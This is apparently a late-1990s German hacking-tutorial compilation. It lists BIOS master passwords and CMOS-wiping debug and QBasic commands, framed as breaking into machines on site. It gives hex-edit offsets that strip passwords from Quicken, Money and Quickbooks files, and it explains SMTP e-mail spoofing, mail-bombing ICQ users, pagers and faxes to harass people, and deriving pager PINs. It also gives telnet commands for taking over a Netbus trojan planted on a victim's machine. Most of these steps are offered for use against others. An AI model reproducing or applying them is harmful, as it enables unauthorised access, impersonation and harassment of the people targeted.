----------------------------------------------------------------------------------------------------------------------------
2  | 3741 | 4443 | 3434 | 3246 | 3535 | 3542 | 3933 | 3239 | 3438 | 4245 | 3735 | 4341 | 3636 | 4137 | 4135
----------------------------------------------------------------------------------------------------------------------------
3  | 3742 | 4444 | 3435 | 3245 | 3534 | 3541 | 3932 | 3238 | 3439 | 4246 | 3734 | 4342 | 3637 | 4136 | 4134
----------------------------------------------------------------------------------------------------------------------------
4  | 3743 | 4441 | 3432 | 3239 | 3533 | 3544 | 3935 | 3246 | 3445 | 4238 | 3733 | 4343 | 3630 | 4131 | 4133
----------------------------------------------------------------------------------------------------------------------------
5  | 3744 | 4442 | 3433 | 3238 | 3532 | 3543 | 3934 | 3245 | 3446 | 4239 | 3732 | 4344 | 3631 | 4130 | 4132
----------------------------------------------------------------------------------------------------------------------------
6  | 3745 | 4438 | 3430 | 3242 | 3531 | 3546 | 3937 | 3244 | 3443 | 4241 | 3731 | 4345 | 3632 | 4133 | 4131
----------------------------------------------------------------------------------------------------------------------------
7  | 3746 | 4439 | 3431 | 3241 | 3530 | 3545 | 3936 | 3243 | 3444 | 4242 | 3730 | 4346 | 3633 | 4132 | 4130
----------------------------------------------------------------------------------------------------------------------------
8  | 3730 | 4437 | 3445 | 3235 | 3546 | 3531 | 3939 | 3233 | 3432 | 4234 | 3746 | 4330 | 3643 | 4144 | 4146
----------------------------------------------------------------------------------------------------------------------------
9  | 3731 | 4437 | 3446 | 3234 | 3545 | 3530 | 3938 | 3232 | 3433 | 4235 | 3745 | 4331 | 3644 | 4143 | 4145


So, dann wünsche ich euch viel Spass beim Entschlüsseln des Passwortes :-)
_________________________________________________________________________________________________________

Bios Passwortabfrage umgehen:
========================

So,so, da wären wir also wieder.
Nun zu eurem problem: ihr wollt also in ein System vor Ort einbrechen, nur leider klappt es nicht,
da das Bios von euch ein Passwort verlangt ???
Dieses Problem zu umgehen sollte bei einigen System wohl der einfachste Part sein.
Einige Bios Typen besitzen nämlich sogenannte Masterkeys (Standard-Passwörter)
mit denen ihr die Bios Passwortabfrage, mit Hilfe eines dieser Passwörter, umgeht ;-)

Award:
Probiert einfach alle diese Masterkeys aus, wenn ihr bei einem scheitern solltet.
Es kann nämlich vorkommen, dass ein spezieller Bios Typ ein bestimmtes Passwort nicht
akzeptiert ;-( Und denkt daran, daß euer Bios auf die amerikanische Tastaturbelegung hört...
y=z & ?=_

* 01322222
* 1EAAh
* 256256
* 589589
* 589721
* ?award
* admin
* alfarome
* aLLy
* aPAf
* award
* award_?
* award.sw
* AWARD SW
* AWARD_SW
* AWARD_PW
* award_ps
* AWARD?SW
* awkward
* BIOS
* bios*
* biostar
* biosstar
* CONCAT
* CONDO
* condo
* djonet
* efmukl
* g6PJ
* h6BB
* HELGA-S
* HEWITT RAND
* HLT
* j09F
* j256
* j262
* j322
* j64
* lkw peter
* lkwpeter
* PASSWORD
* SER
* setup
* SKY_FOX
* SWITCHES_SW
* Sxyz
* SZYX
* t0ch88
* t0ch20x
* ttptha
* TTPTHA
* TzqF
* wodj
* ZAAADA
* zbaaaca
* zjaaadc
* zjaaade


Ami:
* ami
* amidecod
* amipswd
* AMIPSWD
* AMI
* A.M.I.
* aammii
* AMI~
* amiami
* AMI.KEY
* AMISETUP
* AMI?SW
* AMI!SW
* AMI_SW
* bios310
* BIOSPASS
* CMOSPWD
* KILLCMOS
* 589589
* ami.kez
*ami°
* helgaßs
* HEWITT RAND

Vobis:
Selbst bei Vobis Rechnern gibt es einen Masterkey, der es ermöglicht die Passwortabfrage
zu umgehen:
* merlin


Advance Integration:
* Advance

Amptron:
* Polrty

AST:
* SnuFG5

Biostar:
* Biostar
* Q54arwms

Concord:
* last

CTX International:
* CTX_123

CyberMax:
* Congress

Daytek und Daewoo:
* Daytec
* Daewuu

DELL:
* DELL

Digital Equipment:
* komprie

Enox:
* xo11nE

Epox:
* central

Freetech:
* Posterie

HP Vectra Serie:
* hewlpack

IBM:
* IBM
* MBIUO
* sertafu

Iwill
* iwill

Jet Way:
* spoom1

Joss Technology:
* 57gbz6
* Technolgi

MachSpeed:
* sp99dd

Magic-Pro:
* prost

Megastar:
* Star

Micron:
* sldkj754
* xyzall

Micronics:
* dn_04rjc

M Technology:
* mMmM

Nimble:
* xdfk9874t3

Packard Bell:
* Bell9

QDI:
* QDI

Quantex:
* teX1
* xljlbj

Research:
* Col2ogro2

Shuttle:
* Spacve

Siemens Nixdorf:
* SKY_FOX

Speedeasy:
* lesarot1

SuperMicro:
* ksdjfg934t

TMC:
* BIGO

Toshiba:
* 24Banc81
* Toshiba
* toshy99

Vextrec Technology:
* Vextrec

WIMBIOSnbsp BIOS v2.10:
* Compleri

Zenith:
* 3098z
* Zenith

Zeos:
* zeosx


Compaq:
Wie auch die Vobis Kisten, enthalten auch die Compaq Karren einen Masterkey, "compaq".
Finde ich allerdings nicht so einfallsreich :-)

Tinys:
Tinys Bios reagiert auf den Masterkey "Tiny"...ebenfalls einfallsreich...

IBM Aptiva:
Zu diesem Bios Typ gibt es leider ;-( keinen Masterkey, dafür aber eine spezielle Kombination
von Aktionen, die durchgefüht werden um das Bios Passwort zu überbrücken ;-)
* Haltet einfach beide Maustasten gedrückt während das System hoch fährt

Toshiba Laptops:
Wie auch bei IBM existiert bei allen Toshiba Laptops ebenfalls kein Masterkey sondern
eine bestimmte Kombination beim Starten des Systems:
* Haltet die linke Shift-Taste gedrückt, während das System bootet

So, solltet ihr damit keinen Erfolg gehabt haben, so habt ihr noch weitere Changen:
KILLT DEN INHALT DES CMOS ;-)))

Dies geschieht indem ihr einfach einen Jumper (ist Mainboardabhängig) auf "default" umstellt.
Mit dem Trick löscht ihr den kompletten Bios Inhalt des Boards. Schaut am besten in das
Handbuch des Mainboards wie ihr den "Clear-CMOS" Jumper stellen müsst, damit das Bios
das Passwort (achtung: der komplette Inhalt geht damit verloren !!!) vergisst.
Nach etwa 15 - 60 Minuten könnt ihr den Jumper wieder umstellen und nun die Standardwerte
des Bios betrachten ;-)

Ein weiterer Trick um das Passwort zu killen ist ein einfacher debug Befehl mit dem ihr ebenfalls
den kompletten Bios Inhalt ins Nirwana schickt
(klappt aber nur, wenn das Boot Sequence Passwort deaktiviert ist).
Startet den Rechner im MSDos Mode, wo ihr folgende Zeilen eingebt um das Bios zu löschen:

* debug
* o 70 2E
* o71 FF
* Q

Anmerkung: Dieser Debug ist ein Default Debug für alle möglichen Bios Typen.
Dieses kleine "Programm" bewirkt ebenfalls die Passwortabfrage zu kicken ;-)
Sollte dieses Proggy keine Abhilfe schaffen, haben wir immernoch eine Möglichkeit das Passwort,
bzw. den kompletten CMOS Inhalt zu löschen:
Startet den MSDos Mode, wo ihr dann QBasic aufruft und folgende zwei Zeilen hineintippt:

* 10 OUT &H70,17
* 20 OUT &H71,0

Nun führt ihr das Programm noch aus, startet den Rechner neu ... voila das hätten wir ein frisches
BIOS.

Was, es geht immer noch nicht ???
Okay, okay, nochmal ganz tief in die Trickkiste greifen. Benutzt folgenden Debug für das
AMI & Award Bios...

* debug
* o 70 17
* o 71 17
* Q

und in QBasic würde das Ganze dann so aussehen:

* OUT &H70,&H17:OUT &H71,&H17

So, dann heisst es im Internet immer es gäbe kein Default Password für das Phoenix Bios...richtig,
aber wie auch alle anderen Bios Typen kann man dieses debuggen:

* debug
* o 70 FF
* o 71 17
* Q

Dann kann ich euch hier auch noch eine Lösung zum Reseten des Bios dienen...allerdings muß man
Assembler schon etwas kapieren um das folgende Programm richtig zu nutzen:

mov dx, 070h
mov al, 02Eh
out dx, al
inc dx
xor al, al
out dx, al


Vergesst dabei aber nicht, dass bei den letzteren Lösungen der komplette Inhalt verloren geht.
Für alte Festplatten kann das bedeuten, das diese nicht mehr erkannt werden, da ihr die
Parameter nicht mehr wisst ;-.(

Okay, bevor ich dann nun endlich diese Lesson zu den abgehakten Akten lege, kommt noch ein
Tip zum Phoenix Bios, und zwar könnt ihr, wenn ihr das Passwort vergessen habt beim Monitor
Setup die Taste * !1 * drücken. Bei älteren Phoenix Bios Typen hilft auch ab und zu das
Passwort "phoenix".

Einige von euch fragen sich dann auch sicher noch...WIE KOMM ICH EIGENTLICH IN MEIN BIOS???
Selbst diese Frage möchte ich euch hier beantworten und habe eine Liste zusammengeklaut, die einige
Bios Typen enthält und deren Kombination...

METHOD                     SYSTEM
    
Del during boot                    AMI, Award    
Esc during boot                    Toshiba    
F1 during boot                    Toshiba; Phoenix; Late model PS/1 Value  Point and 330s    
F2 during boot                    NEC    
F10 when square in top RH corner of screen        Compaq    
Ins during boot                    IBM PS/2s w/ Reference Partition    
Reset twice                    Some Dells    
Alt Enter                    Dell    
Alt ?                        Some PS/2s    
Ctrl-Esc                        General    
Ctrl Ins                        Some PS/2s when pointer at top right of  screen    
Ctrl Alt Esc                    AST Advantage, Award, Tandon    
Ctrl Alt +                    General    
Ctrl Alt S                    Phoenix    
Ctrl Alt Ins                    Zenith, Phoenix    
Ctrl S                        Phoenix    
Ctrl Shift Esc                    Tandon 386    
Shift Ctrl Alt + Num Pad Del            Olivetti PC Pro    
Setup disk                    Old Compaqs, Epson (Gemini), IBM, IBM PS/2, Toshiba, most old 286s    


So, ich hoffe euch auch diesmal wieder (wenigstens etwas) geholfen zu haben
Cyberdemon_98

P.S.: Solltet ihr weitere Tips, Tricks & Default Passwörter besitzen, die hier nicht aufgeführt sind,
        dann bitte ich euch mir diese zuzusenden.
        Weiterhin geht das Gerücht um, daß für das Award Bios aber Version v4.51 keine Masterpasswörter
        mehr existieren...FALSCH, es gibt sie, aber ich habe sie selber noch net...;-((

_________________________________________________________________________________________________________

Passwort Hacking:
===============

Hi,
in meinen vorherigen Versionen habe ich euch viele Lessons präsentiert, wie man Passwörter knackt.
Da dies aber zu viel wurde und wird, enthält diese Lesson nun *alle* vorherigen Lessons in einer, die das
Thema Passwort cracken hatten ;-)
Alles was wir für das Cracken der Dateien brauchen ist diese FAQ und einen Hexeditor (Hex Workshop oder so).
Natürlich erstellen wir zum cracken immer eine Kopie des Dokumentes und arbeiten auch nur mit dieser, denn nur
Vollidioten oder absolute Profis nehmen die Originalen.
Ich möchte hier euch folgende Beispiele erklären, wie man aus Dokumenten "vergessene" Passwörter wieder löscht:

- Passwort von ACT! 2 Dokumenten entfernen
- Passwort von Mind Your Own Business Dokumenten entfernen
- Passwort von Money 2.0 Dokumenten entfernen
- Passwort von Money '98 Dokumenten entfernen
- Passwort von Lexmark PC Buchhalter 3.0 Dokumenten entfernen
- Passwort von Quicken 3.0 Dokumenten entfernen
- Passwort von Quicken 4.0 Dokumenten entfernen
- Passwort von Quicken 5.0 & 6.0 Dokumenten entfernen
- Passwort von Quickbooks 4.0 Dokumenten entfernen
- Passwort von Quickbooks 5.0 Pro Dokumenten entfernen

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ACT! 2.0:
SORRY, kommt noch !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mind Your Own Business:
SORRY, kommt noch !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Money 2.0:
SORRY, kommt noch !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Money '98:
Auch Microsoft's Money '98 ist nicht sicher vor Standard Attacken mit einem Hexeditor :-)

Um Money'98 Dateien mit Hilfe eines Hexeditors zu hacken, öffnen wir die Money Datei (*.mny) in unseren Hexeditor
und suchen die hexadezimale Speicheradresse 0x42 und ersetzen dort die nachstehenden Zeichen durch folgende:
86 FB EC 37 5D 44 9C FA C6 5E 28 E6 13 B6
Zuletzt speichern wir noch unsere neue Money '98 Datei.
Nun folgt wie gewohnt noch der letzte Test, indem wir einfach die Datei mit Money öffnen ... et voila !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Lexmark PC Buchhalter 3.0:
Mit Hilfe des nachfolgenden Tricks zeige ich euch, wie man ganz einfach den Kennwortschutz aus den Dokumenten
der PC Buchhalter v3.0 Serie entfernt.

So, was machen wir zuerst ??? Klar, unseren Hexeditor öffnen. In diesem öffnen wir die Datei "lx_firma.btw".
Nun springen wir zur hexadezimalen Speicherstelle 0x300E, wo wir das Passwort für den Vollzugriff im klaren lesen
können.
Ihr denkt, das wäre schon alles gewesen ??? Falsch !!!
Weiterhin bewegen wir uns hin bis zur Speicherstelle 0x3038, wo wir das Passwort für den eingeschränkten Zugriff
erblicken.
Halt ! Ihr denkt doch wohl immer noch nicht, das das alles gewesen sein soll ? War es auch nicht.
Es fehlen doch noch die Passwörter, sollten eventuell mehrere Firmen eingerichtet sein.
Diese, wie auch sonst finden wir diese im Klartext, an den Speicherstellen: 0x1F0A und 0x360E.
Also, ich finde die PC Buchhalter Programmierer haben uns dieses Spiel wirklich einfach gemacht ;-)
Aber das soll dann ja nicht unser Problem sein...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quicken 3.0
So, jetzt nehmen wir uns mal die Quicken Software vor. Allerdings funktioniert der nachstehende Trick nur bei der
Version 3.0.

Wie gewohnt öffnet ihr euren Hexer und holt euch dort die zu crackende Quicken (*.qdt) Datei rein.
Nun sucht ihr nach folgenden Offsets: 445, 446, 447
Solltet ihr sie nach und nach abklappern, ersetzt die dort stehenden Werte einfach durch: 00 00 00
Nun vergesst nicht, euer Dokument zu speichern und zu überprüfen, ob das Passwort auch wirklich entfernt ist :-)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quicken 4.0:
Hier zeige ich euch, wie ihr das Passwort von Quicken v4.0 Dokumenten ganz einfach mit Hilfe eines Hexeditors entfernt.

Startet euren Hexeditor und öffnet die Quicken v4.0 Datei (*.qdt), die ihr knacken wollt.
Nun suchen wir die hexadezimale Speicherstelle 0x4425, was dezimal 17445 entspricht, und springen dort hin.
Dort ersetzen wir die folgenden Werte einfach durch: 00 00 00
Das war's auch schon, d.h. das Dokument speichern, mit Quicken 4 öffnen und staunen, wo die Passwortabfrage
geblieben ist.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quicken 5.0 & 6.0:
Hier geht es nun um Quicken 5.0 & 6.0 Passwörter.

Zuerst den Hex-Editor starten und die Quicken Datei (*.qdb) laden.
Dort springen wir an die hexadezimale Speicherstelle "0x4425".
Dort beginnend ersetzen wir die bestehenden Zeichenketten durch die folgende hexadezimale Zeichenkette: 00 00 00
Nun speichern wir das Dokument, öffnen es mit Quicken, und voila, man sieht das Passwort wird nicht mehr abgefragt.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quickbooks 4.0:
In den vorherigen Lessons ging es um Quicken Passwörter. Hier dreht sich alles um Quickbooks Passwörter.

Wie gewohnt starten wir hierzu unseren Hexeditor, öffnen die zu dekodierende Quickbooks Datei (*.qbw) und suchen
folgende hexadezimale Speicherstelle: 0x1DC8
Dort ersetzen wir die stehende Zeichenkette durch eine neue: EA 02 41 9B 80 2B 62 95 2E FE A4
Zuletzt speichern wir noch unser Dokument und versuchen es mit Quickbooks zu öffnen.
Sollte alles glatt gelaufen sein, könnt ihr nun das volle Dokument geniessen, auch ohne die Eingabe eines Passwortes :-)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Quickbooks Pro 5.0:
Wie sollte es auch sonst sein, das die Programmierer von Inuit Quickbooks Pro v5.0, die Verschlüsselung verbessert
hätten ? Haben sie nämlich nicht. Nun ja, uns soll das aber trotzdem weiterhin nicht stören, denn wir können dies dazu
verwenden, um unsere Passwörter wieder zu rekonstrurieren.

Wir laden unsere Quickbooks Datei in ... wohin ??? Klare Sache, in unseren Hexeditor.
Dort suchen wir nach dem Offset: 00 00 1D D3 , wo wir zwischen der 1 und der 11 Werte sehen, die keine Null enthalten.
Jeder dieser Werte steht für ein Zeichen des Passwortes.
Vielleicht sollten wir mal ausprobieren, diese Werte einfach durch 00 zu ersetzen. Könnte dies vielleicht klappen ???
Nicht vielleicht, klare Sache !!!
Es läuft nun auch ohne das vorher vergebene Passwort ;-)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

So, das war auch schon die Lesson über das entfernen von Passwörtern aus diversen Dokumenten.
Ich hoffe, das ihr diese Informationen gebrauchen könnt wenn ihr eure Passwörter mal vergessen solltet ;-)

___________________________________________________________________________________________________________

Fake Emails verschicken:
===================

Hallöchen ;-)
Heute will ich euch gerne etwas mehr darüber unterrichten, wie man im Internet unter einem falschen
Namen eine E-Mail verschickt ;-)

Wer wollte das noch nicht von euch ???
Oder findet ihr es nicht lustig wenn jemand eine E-Mail bekommt dessen Absender
Gates@Microsoft.com ist ???

Also, ich schon und genau aus diesem Grund habe ich dieses Tutorial geschrieben
(naja, es war nicht der einzige, aber einer davon).

Als erstes greift ihr mit Telnet über Port 25 auf einen beliebigen Web-Server zu.
Dies geschieht indem ihr in der DOS-Eingabeaufforderung eintippt:
telnet web.server 25
(Der Port 25 ist der Mail-Port und beim Aufbau einer Verbindung zu einem Web-Server kommuniziert ihr
mit dem Mail-daemon mittels SMTP)
Da es sowieso genug Web-Server gibt, dürftet ihr wohl keine Probleme haben einen zu finden und ihn
zu "missbrauchen" ;-)

Wenn ihr dort im System seit, nutzt folgende Kommandos um eine Fake Mail zu versenden:
mail from eure@adresse.com
Dieser Befehl bewirkt, das die E-Mail den Absender trägt, den ihr anstatt von eure@adresse.com nutzt.

Nun aber weiter:
Jetzt brauchen wir natürlich jemanden, dem wir eine Fake Mail schicken wollen.
Das System wartet auf folgende Eingabe:
rcpt to: empfänger@der.mail.com
Wiederum gilt hier eine E-Mail Adresse einzutragen, und zwar die der die Fake-Mail erhalten soll.

Nun gebt ihr das Wort "data" ein.

Erst jetzt folgt eure eigentliche Nachricht.
Tippt sie ein und dann in einer neuen Zeile einfach "." eingeben um die Fake-Mail zu versenden ;-)

Na, war das mal nicht wieder super einfach ???
Man muss nur wissen wie es geht und nachdem ihr hier angelangt seit, wisst ihr es ja ;-)

Wenn ihr ganz anonym bleiben wollt, könnt ihr folgende Seite im Internet aufrufen um von dort aus
E-Mails verschicken, die eure wahre Identität nicht preisgeben:

http://www.anonymizer.com

Tragt dort einfach die E-Mail Adresse ein, an die die Mail geschickt werden soll, den Betreff und die
eigentliche Nachricht. Nun gibt es dort nur noch einen Button den ihr drücken müsst: SEND ;-)

Wiedereinmal hatte ich an diesem Tutorial genauso viel Spass wie an den anderen.
Ich hoffe, dass ihr alles verstanden habt und wenigstens genauso viel gelernt habt wie ich

__________________________________________________________________________________________________________

EMail Bomber mal ganz anders:
========================

In der heutigen Hacking Lesson will ich euch zeigen, was man mit seinem Mailbomber noch so alles
bomben kann ;-) wie z.B. mit lästigen ICQ Usern, Scall und Quix Usern.
Der Mailbomber den ich bevorzuge nennt sich Warfair, denn der ist super-schnell und zudem noch
in Deutsch :-)))
Okay, zuerst fangen wir mit ICQ an:

Stell dir vor, das dir jemand den du über ICQ kennst, dir ziemlich auf den Sack geht.
Was tun wir also ???Wie wäre es wenn du ihn einfach ein bischen ärgerst indem du ihm
ein "paar" Messages schickst. Solltest du es versuchen manuell zu tun, musst du eine Menge
Zeit in diese Aktion investieren.
Es gibt aber auch eine elegantere Methode indem du einfach deinen Mailbomber etwas
umfunktionierst. Du nutzt deinen Mailbomber sozusagen als ICQ Bomber ;-)

Alles was du hierfür brauchst ist ein ICQ Opfer (dessen ICQ UIN du kennen musst) und einen
Mailbomber (gehört in jede Sammlung).
Trage in deinen Mailbomber als Emailadresse deines Opfers einfach ein:

ICQUIN@pager.mirabilis.com

wobei die ICQUIN die ICQ Nummer deines Opfers ist.
Nun stellst du noch die Anzahl der Messages ein, die er bekommen sollst und überlässt nun
deinem Bomber die Arbeit, die er auch promt erledigen wird ;-)

So, das hätten wir
Nun aber zu dem umgekehrten Fall: Du wirst Opfer einer solchen ICQ Attacke.
Was zu tun ist ???
Eine ganz einfache Sache:
Starte dein ICQ und übernimm folgende Einstellungen:
* ICQ
* Security & Privacy
* Do not accept EmailExpress Messages

So, nachdem wir kennengelernt haben, wie es funzt ICQ User zu nerven, kommen nun noch die Beispiele
mit Scall und Quix.
Das Prinzip ist das gleiche wie bei ICQ...also zuerst die addy (bzw. Nummer) dann die Host-Domain.
Bei Scall würde das ganze wie folgt ablaufen:

Scall-Nummer@Scall.de

Also tragen wir in den Mailbomber als Empfänger-Adresse die Scallnummer@Scall.de ein.
So, nun drücken wir nur noch SEND...

Bei Quix läuft es wiederum ähnlich ab, nämlich setzt sich die Empfänger-Adresse wieder aus Nummer und
Host Domain zusammen. Die Rufnummer des Quix inkl. Vorwahl ist 0165-6-1234567.
Dann lautet die E-Mail-Adresse des Quix-Empfängers:

1234567@quix-it.de

Ganz einfach in den Mailbomber die Rufnummer@quix-it.de eintragen und losbomben :-)

Und, war das nicht einfach ???
Ich finde, das man auf diese Weise ganz einfach Leute derart mit ihren Nachrichten beschäftigen kann,
so dass sie einen in Ruhe lassen ;-)
Ach, da fällt mir gerade noch eine schöne Sache ein: FAX Geräte bomben :-)
Wieder den Mailbomber hochfahren, und als Empfänger Adresse folgende Zeile eintippen:

remote-printer.NAME/ORT@49yyyyxxxxxx.iddd.tpc.int
NAME      Name des Empfängers
ORT      Ort des Empfängers
y      Vorwahl ohne 0
x      Faxnummer

So, dann nur noch den verfi**ten SEND Button antippen und los...
Nachteil dieser Aktion ist, daß eine echte Mailadresse im Mailbomber angegeben wird, über die Du auch
verfügst, da eine Sendbestätigung via Mail nochmal kommt :-(
Ist aber ansonsten eine feine Sache ...*g*

Also, bis zur nächsten Hacking Lesson dann...

_________________________________________________________________________________________________________

Das euch hier vorliegende Tutorial beinhaltet das Knacken der PINs von Scall & Skyper.
Die Hersteller der Pager verwenden ein ganz einfaches Verfahren und einem Hacker
namen "Littlehack" ist es gulungen dieses zu knacken.

Zuerst einmal brauchen wir die Rufnummer des Pagers, die wir dann in einen
Taschenrechner eingeben.
Nehmen wir also an das die Rufnummer "5327866" ist, so geben wir diese Nummer in unseren
Tasschenrechner und ziehen einen Wert von "6296" ab.
Das Ergebnis, das wir erhalten ist: "5321570"
Und schon wissen wir wie der PIN lautet.
Wie, ihr wisst es noch nicht ???
Okay, ganz einfach, ich erkläre es euch ;-)
Wir nehmen das Ergebnis der Rechnung und zerlegen es in zwei Teile:
"532" & "1570"
Was uns davon interessiert ist der letztere Teil (die letzen 4 Stellen des Ergebnisses).
Na, kommt ihr jetzt drauf ???
Der PIN der Rufnummer "5327866" ist: "1570"

So, hier folgt nochmal alles in kleinerer Ausführung.
Was wir wissen müssen ist die Rufnummer. Von dieser ziehen wir den Wert "6296" ab und
die letzten 4 Stellen des Ergebnisses ist der PIN-Code.

Ist das nicht alles zu einfach ???
Nein, es funktioniert und man kann echt sagen, das die Hersteller der Pager schlampig gearbeitet haben,
aber das können wir ja nur zu unserem Vorteil machen

Das war's dann auch schonmal wieder
Ich hoffe, dass ihr dieses neue Wissen nun einsetzen könnt ;-)

Bis zur nächsten Hakcing Lesson
P.S.: Wir könnten auch eine "Formel" für diese Berechnung aufstellen, die dann folgendermaßen aussieht:
         Rufnummer - 6296 = Ergebnis ; die letzten 4 Stellen sind der PIN

         Bei einigen Pagern kann es sein, das nur die letzten 3 Stellen des PINs richtig sind.
         Sollte dies der Fall sein, probiert einfach die zehn Möglichkeiten durch, denn mehr habt ihr ja nicht.

Der Bug mit den letzten 3 Stellen war mir schon bekannt, wurde freundlicherweise nochmal von G@ngsta bestätigt ;-)

_________________________________________________________________________________________________________

Netbus Server Passwort hacken:
=========================

Huhu,
ihr habt irgendeinem Idioten im Netz Netbus aufgespielt, ihm ein Passwort zugewiesen, aber
mittlerweile das Passwort vergessen ???
No Prob, entweder ihr nehmt einen der zahlreichen Passwort Hacker oder ihr macht das ganze
nach der "Cyber-Art" :-))

Zuerst einmal braucht ihr die IP. Solltet ihr diese nicht haben, dann lest nicht weiter !!!
Okay, wenn ihr die IP habt, dann macht einen Telnet auf die IP und den Port...
Für die etwas weniger Fortgeschrittenen unter uns erkläre ich es wie immer Schritt für Schritt...

- Start anklicken
- Ausführen anklicken
- folgene Zeile eingeben:
  telnet IP Port

Es könnte zum Beispiel so aussehen:
telnet 212.122.32.45 12345
d.h. er connectet via Telnet auf die IP 212.122.32.45 und auf den Port 12345, wo ja gewöhnlich
Netbus liegt... Also weiter, wenn er euch erfolgreich connectet hat, dann steht da was wie
"Netbus v1.x" oder so...gut !!!
Nun tippt ihr im Telnet Terminal folgenden Befehl:

"Password;1;"

natürlich wieder ohne die "". Okay, das war dann das Passwort, und wenn ihr dann noch den
armen Deppen von Netbus befreien wollt, gebt ihr noch folgendes ein:

"RemoveServer;1;"

Dann solltet ihr eine Meldung erhalten wie: "Connection was closed".
Sollte auf dem Remote Rechner eine etwas ältere Netbus Version laufen und der Befehl
"RemoveServer" nicht funzen, dann probiert mal "GetInfo;0;".
Das dürfte dann Netbus gewesen sein...

Sehr schön...
Okay, das war das...
__________________________________________________________________________________________________________

Header Informationen lesen:
======================

Hi !
Heute möchte ich euch etwas mehr über E-Mail Headers (=Köpfe) und Headers aus Newsgroups zeigen, da man aus
den Headern viele nützliche Informationen entnehmen kann ;-)

Zuerst einmal möchte ich euch einen E-Mail Header zeigen, der folgendermassen aussieht:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From: Vegbar Fubar <fooha@ifi.foobar.no>
Date: Fri, 11 Apr 1997 18:09:53 GMT
To: hacker@techbroker.com

Received: by o200.fooway.net (950413.SGI.8.6.12/951211.SGI) for techbr@fooway.net id OAA07210; Fri, 11 Apr 1997 14:10:06 -0400
Received: from ifi.foobar.no by o200.fooway.net via ESMTP (950413.SGI.8.6.12/951211.SGI)
 for <hacker@techbroker.com> id OAA18967; Fri, 11 Apr 1997 14:09:58 -0400
Received: from gyllir.ifi.foobar.no (2234@gyllir.ifi.foobar.no [129.133.64.230]) by ifi.foobar.no with ESMTP (8.6.11/ifi2.4)
 id <UAA24351@ifi.foobar.no> for <hacker@techbroker.com> ; Fri, 11 Apr 1997 20:09:56 +0200
From: Vegbar Fubar <fooha@ifi.foobar.no>
Received: from localhost (Vegbarha@localhost) by gyllir.ifi.foobar.no ; Fri, 11 Apr 1997 18:09:53 GMT
Date: Fri, 11 Apr 1997 18:09:53 GMT
Message-Id: <199704111809.13156.gyllir@ifi.foobar.no>
To: hacker@techbroker.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Habt ihr euch nicht schon immer gefragt, was all dies wirre Zeug bedeutet ??? Dazu später.
Zuerst einmal kommt doch sicher die Frage auf, wie man die Header liest.
Das Lesen eines E-Mail Headers ist davon abhängig, mit welchem Programm ihr eure E-Mails abruft.
Gott sei Dank erhaltet ihr hier Abhilfe, wo es beschrieben wird, wie ihr unter den verschiedenen Mail Programmen den
Header erblickt :-)

Compuserve         Glück gehabt, Compuserve zeigt euch automatisch den Header
Microsoft Outlook    Die Mail anklicken und dann auf Datei \ Eigenschaften \ Details klicken
Netscape Navigator    Einfach die Mail markieren, dann auf Ansicht \ Seitenquelltext klicken
Netscape Communicator    Einfach die Mail markieren, dann auf Ansicht \ Seitenquelltext klicken, ... et voila
Pegasus            eine harte Sache mit Pegasus, das heisst, speichert die Mail ab und öffnet sie in Wordpad
Pine            Pine ist ein UNIX E-Mail Programm, das ebenfalls automatisch den Header anzeigt

Soviel zum Thema wie lese ich einen E-Mail Header...
Ich gehe jetzt mal davon aus, das ihr euch eine Nachricht anschaut, und euch sofort den Header dazu holt.
Nun aber zurück zum eigentlichen Thema: Was bedeuten all diese Zeilen ???
Um es euch zu erklären, das ganze nocheinmal:

From: Vegbar Fubar <fooha@ifi.foobar.no>
- hier findet ihr Informationen über den Absender der E-Mail wie eingetragenen Namen im Mail Programm sowie die E-Mail Adresse

Date: Fri, 11 Apr 1997 18:09:53 GMT
- in dieser Zeile findet ihr das Datum und die Uhrzeit, wann die Mail abgeschickt wurde

To: hacker@techbroker.com
- in dieser Zeile seht ihr, an wen die E-Mail gerichtet ist (hier seht ihr nur die E-Mail Adresse, keinen Benutzernamen !!!)

Received: by o200.fooway.net (950413.SGI.8.6.12/951211.SGI) for techbr@fooway.net id OAA07210; Fri, 11 Apr 1997 14:10:06 -0400
